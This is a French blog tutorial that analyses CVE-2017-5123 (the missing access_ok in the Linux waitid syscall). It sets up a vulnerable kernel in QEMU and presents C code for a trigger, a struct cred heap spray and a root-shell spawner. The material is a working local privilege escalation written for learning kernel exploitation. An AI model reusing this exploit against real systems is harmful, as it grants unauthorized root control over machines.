
PoC CVE-2017-5123 - LPE - Contournement de SMEP/SMAP. Sans KASLR
PoC CVE-2017-5123 - LPE - Contournement de SMEP/SMAP. Sans KASLR
Dans ce petit article, j'analyserai une vulnérabilité du noyau qui nous permet d'obtenir les privilèges root.
Ce fichier est divisé en quatre parties :
Je tiens à souligner qu'il existe de bien meilleures façons d'exploiter cette CVE (en effet, ce n'est qu'un PoC pour apprendre le noyau, il ne peut pas être utilisé dans la nature) mais je pense que cette méthodologie peut être utile comme introduction à l'exploitation du noyau.
Cette vulnérabilité a été introduite dans 4c48abe91be0, nous devons donc compiler cette version du noyau.
Cela peut être un peu délicat car il s'agit d'une ancienne version et le code doit être patché.
J'ai créé un dépôt avec un code de noyau déjà patché et un fichier .config afin que vous puissiez cloner et compiler.
git clone https://github.com/c3r34lk1ll3r/kernel_mirror.git
cd kernel_mirror
git checkout origin/modified_v4.14
wget https://gist.githubusercontent.com/c3r34lk1ll3r/c9c34ae86140cc7a24d0d90141686ee8/raw/52431b577a71e3fe8f89d6ce355ce9c1c54c53b6/.config
make -j 8 --output-sync=recurse
Notez que ce noyau sera compilé avec les pilotes virtio, vous pouvez donc utiliser un disque virtio pour partager des fichiers depuis/vers la VM.
Maintenant, nous allons créer le rootfs initial :
qemu-img create -f raw hda.raw 10G
# Format the disk to ext4
mkfs.ext4 ./hda.raw
# Make a mountpoint for the image
mkdir /tmp/mount1
# Mount the disk
sudo mount -o loop ./hda.raw /tmp/mount1
Ensuite, nous devons installer une distribution Linux de base, par exemple en utilisant pacstrap ou debootstrap.
sudo pacstrap /tmp/mount1 base base-devel vim
Enfin, nous pouvons modifier le système :
# Add a 'test' user
echo 'test:x:1000:1000::/home/test:/bin/bash' | sudo tee -a /tmp/mount1/etc/passwd
# without password
echo 'test::14871::::::' | sudo tee -a /tmp/mount1/etc/shadow
# we can mount a virtio disk in order to share files between host and guest
echo '/transient /home/test/shared 9p trans=virtio,version=9p2000.L,rw,user,exec 0 0' | sudo tee -a /tmp/mount1/etc/fstab
sudo mkdir -p /tmp/mount1/home/test/shared
# It is usefull to have sudo permission
echo '%wheel ALL=(ALL) NOPASSWD: ALL' | sudo tee -a /tmp/mount1/etc/sudoers
echo 'wheel:x:998:test' | sudo tee -a /tmp/mount1/etc/group
sudo chown -R 1000:1000 /tmp/mount1/home/test
sudo umount /tmp/mount1
Si tout est en ordre, nous pouvons maintenant essayer notre système de test avec qemu :
qemu-system-x86_64 \
-kernel ./kernel_mirror/arch/x86_64/boot/bzImage \
-hda ./hda.raw \
-m 4G \
-cpu "Skylake-Client-IBRS,ss=on,vmx=on,hypervisor=on,tsc-adjust=on,clflushopt=on,umip=on,md-clear=on,stibp=on,arch-capabilities=on,ssbd=on,xsaves=on,pdpe1gb=on,ibpb=on,amd-ssbd=on,skip-l1dfl-vmentry=on,hle=off,rtm=off" \
-smp 4 \
-vga virtio \
-enable-kvm \
-nographic \
-machine type=q35,accel=kvm \
-virtfs "fsdriver=local,id=fs.1,path=./trans_fs,security_model=mapped,writeout=immediate,mount_tag=/transient" \
-append "root=/dev/sda rw noquiet nokaslr console=ttyS0 loglevel=5" \
-chardev "vc,id=vc.0,cols=1920,rows=1080" \
-net "user,hostfwd=tcp::10022-:22" \
-net "nic" \
-s
La description de la CVE indique qu'il existe une opération d'écriture non restreinte lors de l'appel système waitid.
Ouvrons kernel/exit.c et regardons le code :
SYSCALL_DEFINE5(waitid, int, which, pid_t, upid, struct siginfo __user *,
infop, int, options, struct rusage __user *, ru)
{
struct rusage r;
struct waitid_info info = {.status = 0};
long err = kernel_waitid(which, upid, &info, options, ru ? &r : NULL);
int signo = 0;
if (err > 0) {
signo = SIGCHLD;
err = 0;
if (ru && copy_to_user(ru, &r, sizeof(struct rusage)))
return -EFAULT;
}
if (!infop)
return err;
user_access_begin();
unsafe_put_user(signo, &infop->si_signo, Efault);
unsafe_put_user(0, &infop->si_errno, Efault);
unsafe_put_user(info.cause, &infop->si_code, Efault);
unsafe_put_user(info.pid, &infop->si_pid, Efault);
unsafe_put_user(info.uid, &infop->si_uid, Efault);
unsafe_put_user(info.status, &infop->si_status, Efault);
user_access_end();
return err;
Efault:
user_access_end();
return -EFAULT;
}
Cette fonction est assez simple : après quelques vérifications, il y a divers appels à unsafe_put_user(...) puis la fonction retourne.
La partie principale de cette fonction est composée de la fonction unsafe_put_user(...), alors rendons-nous là-bas (arch/x86/include/asm/uaccess.h) :
/*
* The "unsafe" user accesses aren't really "unsafe", but the naming
* is a big fat warning: you have to not only do the access_ok()
* checking before using them, but you have to surround them with the
* user_access_begin/end() pair.
*/
#define user_access_begin() __uaccess_begin()
#define user_access_end() __uaccess_end()
#define unsafe_put_user(x, ptr, err_label) \
do { \
int __pu_err; \
__typeof__(*(ptr)) __pu_val = (x); \
__put_user_size(__pu_val, (ptr), sizeof(*(ptr)), __pu_err, -EFAULT); \
if (unlikely(__pu_err)) goto err_label; \
} while (0)
#define unsafe_get_user(x, ptr, err_label) \
do { \
int __gu_err; \
__inttype(*(ptr)) __gu_val; \
__get_user_size(__gu_val, (ptr), sizeof(*(ptr)), __gu_err, -EFAULT); \
(x) = (__force __typeof__(*(ptr)))__gu_val; \
if (unlikely(__gu_err)) goto err_label; \
} while (0)
Il y a un gros avertissement dans le commentaire : si vous voulez utiliser unsafe_put/get_user, vous devez d'abord appeler access_ok() et les entourer avec user_access_begin/end().
Si nous examinons le code précédent (waitid), nous voyons que access_ok() n'est jamais appelé, donc l'appel système viole cet avertissement.
Mais que sont ces macros ?
SMAP et SMEP sont deux fonctionnalités de sécurité introduites dans le noyau afin de rendre plus difficile l'écriture d'exploits. Il est à noter que ces fonctionnalités sont appliquées par le CPU.
SMEP empêche d'exécuter du code utilisateur lorsque le CPU est en mode superviseur ; SMAP, quant à lui, bloque l'accès lecture/écriture à la mémoire utilisateur.
Le noyau a besoin d'écrire/lire des données vers/depuis la mémoire utilisateur, et cela peut être accompli de deux manières :
copy_from_user) qui permettent de copier la mémoire dans l'espace noyau ;Comme nous pouvons le voir dans la définition de unsafe_put_user, cette fonction copie uniquement la valeur de x dans la mémoire pointée par ptr (et saute vers err_label en cas d'erreur). Nous venons de dire que le noyau ne peut pas accéder à l'espace utilisateur à cause de SMAP, et c'est pourquoi ces fonctions doivent être enveloppées entre user_access_begin/end().
#define __uaccess_begin() stac()
#define __uaccess_end() clac()
Comme nous pouvons le voir, user_access_begin/end sont simplement les instructions ASM stac et clac.
stac : "Définit le bit de drapeau AC dans le registre EFLAGS. Cela peut activer la vérification d'alignement des accès aux données en mode utilisateur. Cela permet aux accès explicites aux données en mode superviseur d'atteindre les pages en mode utilisateur même si le bit SMAP est défini dans le registre CR4."clac : "Efface le bit de drapeau AC dans le registre EFLAGS. Cela désactive toute vérification d'alignement des accès aux données en mode utilisateur. Si le bit SMAP est défini dans le registre CR4, cela interdit les accès explicites aux données en mode superviseur vers les pages en mode utilisateur."En gros, ces deux macros activent/désactivent SMAP.
Notre "avertissement" précédent mentionne également la fonction access_ok :
/**
* access_ok: - Checks if a user space pointer is valid
* @type: Type of access: %VERIFY_READ or %VERIFY_WRITE. Note that
* %VERIFY_WRITE is a superset of %VERIFY_READ - if it is safe
* to write to a block, it is always safe to read from it.
* @addr: User space pointer to start of block to check
* @size: Size of block to check
*
* Context: User context only. This function may sleep if pagefaults are
* enabled.
*
* Checks if a pointer to a block of memory in user space is valid.
*
* Returns true (nonzero) if the memory block may be valid, false (zero)
* if it is definitely invalid.
*
* Note that, depending on architecture, this function probably just
* checks that the pointer is in the user space range - after calling
* this function, memory access functions may still return -EFAULT.
*/
#define access_ok(type, addr, size) \
({ \
WARN_ON_IN_IRQ(); \
likely(!__range_not_ok(addr, size, user_addr_max())); \
})
Le commentaire ici est explicite : cette macro vérifie si le pointeur est un pointeur d'espace utilisateur valide.
Regardons à nouveau le code de waitid :
user_access_begin();
unsafe_put_user(signo, &infop->si_signo, Efault);
unsafe_put_user(0, &infop->si_errno, Efault);
unsafe_put_user(info.cause, &infop->si_code, Efault);
unsafe_put_user(info.pid, &infop->si_pid, Efault);
unsafe_put_user(info.uid, &infop->si_uid, Efault);
unsafe_put_user(info.status, &infop->si_status, Efault);
user_access_end();
Comme vous l'avez déjà deviné, l'absence de access_ok() conduit à une écriture arbitraire partout en mémoire car le pointeur infop est complètement contrôlé par l'attaquant.
Il est très facile d'atteindre le chemin vulnérable et nous pouvons créer un déclencheur avec ce code simple :
int thread_ready;
int die_thread(void *arg){
thread_ready=1;
syscall(__NR_sched_yield);
return 0;
}
void *stack;
int trigger_bug(uint64_t where, int what){
printf("[0] Trying to overwrite 0x%016lx\r", where);
//int pid = fork(); // It is also possible to use fork syscall
thread_ready = 0;
int pid = clone(die_thread, stack, CLONE_VM | CLONE_FS|CLONE_FILES|CLONE_SYSVSEM | SIGCHLD, NULL);
int err;
while(thread_ready == 0) {syscall(__NR_sched_yield);} // We should wait the thread
err = syscall(__NR_waitid, P_PID, pid, where, WEXITED, NULL);
return err;
}
Ce simple code déclenchera la vulnérabilité et écrira dans la mémoire pointée par l'adresse where.
Nous pouvons utiliser gdb si nous voulons vérifier ce déclencheur. Par exemple, nous pouvons sélectionner une adresse arbitraire et utiliser la fonction trigger_bug pour l'écraser.
Cette vulnérabilité peut être exploitée de différentes manières, mais je préfère une approche très simple.
Rappelez-vous que nous pouvons écrire partout où nous voulons, mais les données écrites sont partiellement contrôlées. Nous pouvons écraser une adresse avec 0.
L'idée de base est d'écraser l'UID de notre processus et de devenir root, mais nous devons d'abord comprendre ce que sont les credentials sous Linux.
Nous commençons par creuser l'appel système fork. Cette fonction est utilisée pour créer de nouveaux processus.
Nous pouvons vérifier le code dans kernel/fork.c :
SYSCALL_DEFINE0(fork)
{
return _do_fork(SIGCHLD, 0, 0, NULL, NULL, 0);
}
Donc, l'appel système fork est simplement un wrapper pour _do_fork avec des paramètres codés en dur.
Cette dernière fonction est un peu longue mais nous pouvons la résumer de cette manière :
long _do_fork(unsigned long clone_flags,
unsigned long stack_start,
unsigned long stack_size,
int __user *parent_tidptr,
int __user *child_tidptr,
unsigned long tls)
{
struct task_struct *p;
int trace = 0;
long nr;
......
// This will create another task struct but it will NOT start the process.
p = copy_process(clone_flags, stack_start, stack_size,
child_tidptr, NULL, trace, tls, NUMA_NO_NODE);
add_latent_entropy();
......
// Wake up the new created task. This will set in RUNNING the state of the task and enqueue in the running queue code
wake_up_new_task(p);
......
put_pid(pid);
} else {
nr = PTR_ERR(p);
}
return nr;
}
Cette fonction allouera un nouvel objet task_struct. Bien que cette structure soit vraiment importante (elle décrit un processus), nous concentrerons notre attention sur le champ cred :
...
/* Process credentials: */
/* Tracer's credentials at attach: */
const struct cred __rcu *ptracer_cred;
/* Objective and real subjective task credentials (COW): */
const struct cred __rcu *real_cred;
/* Effective (overridable) subjective task credentials (COW): */
const struct cred __rcu *cred;
...
Comme nous pouvons le voir, il y a (trois) pointeurs vers struct cred. Voyons comment cette structure est composée (include/linux/cred.h) :
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
......
Comme nous pouvons le voir, l'UID d'un processus est simplement un entier non signé (suivez la définition de kuid_t), donc nous pouvons simplement écraser cette valeur avec 0 afin de devenir root.
La structure task_struct est allouée dans la fonction copy_process qui est un peu complexe et dont le but principal est de "copier" le processus dans un nouveau.
Nous pouvons nous concentrer sur copy_creds(p, clone_flags) qui est définie comme suit :
/*
* Copy credentials for the new process created by fork()
*
* We share if we can, but under some circumstances we have to generate a new
* set.
*
* The new process gets the current process's subjective credentials as its
* objective and subjective credentials
*/
int copy_creds(struct task_struct *p, unsigned long clone_flags)
{
struct cred *new;
int ret;
if (
#ifdef CONFIG_KEYS
!p->cred->thread_keyring &&
#endif
clone_flags & CLONE_THREAD
) {
p->real_cred = get_cred(p->cred);
get_cred(p->cred);
alter_cred_subscribers(p->cred, 2);
kdebug("share_creds(%p{%d,%d})",
p->cred, atomic_read(&p->cred->usage),
read_cred_subscribers(p->cred));
atomic_inc(&p->cred->user->processes);
return 0;
}
new = prepare_creds();
if (!new)
return -ENOMEM;
if (clone_flags & CLONE_NEWUSER) {
ret = create_user_ns(new);
if (ret < 0)
goto error_put;
}
.........
error_put:
put_cred(new);
return ret;
}
Comme nous pouvons le voir, cette fonction appelle prepare_creds où la véritable allocation est effectuée.
Nous avons maintenant un chemin pour allouer un nombre (pseudo)arbitraire de struct cred :
_do_fork()copy_process()copy_creds()Notre dernier problème est de savoir comment appeler _do_fork() depuis l'espace utilisateur. Nous pouvons utiliser fork, mais cela peut être lent, nous utiliserons donc clone à la place.
Note : nous ne pouvons pas utiliser pthread à cause des flags : si vous regardez le code copy_creds, vous devriez remarquer qu'il existe un chemin où la structure n'est pas réellement allouée.
Maintenant, un petit récapitulatif :
0 dans la mémoire0, il obtient les permissions root.Maintenant, nous avons besoin de savoir où écrire en mémoire et, bien que KASLR soit désactivé, l'adresse d'un struct cred n'est pas assez stable, j'ai donc décidé de procéder à du memory spraying.
Nous devons trouver le struct cred en mémoire afin de détecter une plage d'adresses. Nous pouvons utiliser gdb et python avec un script comme celui-ci :
....
for task in task_lists():
#gdb.write("{address} {pid} {comm}\n".format(
# address=task,
# pid=task["pid"],
# comm=task["comm"].string()))
comm = task["comm"].string()
# Insert your executable name
if comm == "exploit":
print(task['cred'])
....
Note : ce script ne fonctionne qu'avec KASLR désactivé et avec les symboles de débogage (nous avons besoin du pointeur init_task).
Nous pouvons essayer plusieurs fois et nous constatons que le tas croît vers le bas, donc nous pouvons partir d'une adresse plus basse et remonter.
Maintenant, nous pouvons utiliser l'appel système clone pour générer beaucoup de processus et, grâce à gdb, nous pouvons vérifier les adresses :
stack=malloc(STACK_SIZE)+STACK_SIZE;
for(x=0;x<MAX_THREADS;x++){
stackTop = malloc(STACK_SIZE) + STACK_SIZE;
if (!stackTop){
perror("[-] Malloc");
return -1;
}
// spray_thread function can simply be a infinite loop
pid = clone(spray_thread, stackTop, CLONE_VM | CLONE_FS|CLONE_FILES|CLONE_SYSVSEM | SIGCHLD, NULL);
if (pid == -1){
perror("\n\nCLONE");
return -1;
}
printf("[0] Process created: %d\r", x);
}
Note : il se peut que vous ne puissiez pas générer plus de 4k processus. Consultez ulimits si c'est le cas.
Enfin, nous pouvons écrire notre PoC.
Il suffit d'appeler trigger_bug avec différentes adresses (en cherchant la structure) pendant que notre thread généré vérifiera son UID, comme ceci :
struct shared_area{
int one_win;
};
struct shared_area glob_var;
// Sprayed thread
int spray_thread(void *arg){
int uid;
int previous_one = syscall(__NR_getuid);
// Loop over syscall getUID
while(1){
uid = syscall(__NR_getuid);
//printf("UID: %d\n",uid);
// If returned UID is different from the previous one, then we have hitted a struct cred area
if (uid != previous_one){
printf("WIN!! with %d", uid);
// Kill other treads in order to stabilize the system
glob_var.one_win = 1;
// Simply spawn a shell
system("/bin/sh");
}
if(glob_var.one_win == 1)
return 1;
}
return 0;
}
Il y a une probabilité de 50 % de toucher la structure, donc après quelques exécutions, vous pouvez obtenir le privilège root.

Ceci est un PoC (basique) et le spraying est loin d'être parfait. Ce n'est qu'une "introduction" au monde incroyable du noyau ; il y a beaucoup de concepts que j'ai passés sous silence mais qui sont extrêmement importants (comme la gestion de la mémoire). Si vous voulez étudier plus en profondeur, vous pouvez jeter un œil à prepare_creds et aux allocations mémoire.
KASLR est désactivé, mais cette vulnérabilité permet également de contourner cette mitigation (unsafe_put_user ne plante pas avec une adresse invalide), mais je ne pense pas qu'ajouter une nouvelle "couche" de brute force soit utile si votre objectif est d'apprendre le noyau. Si votre objectif est d'utiliser cette vulnérabilité dans la nature, vous devriez écrire un exploit différent (au moins, un spraying différent).
Réflexion : j'ai utilisé cette vulnérabilité pour comprendre et essayer la technique ret2dir (indice : vous pouvez déclencher l'écriture à l'adresse alias et lire la modification avec l'adresse de l'espace utilisateur).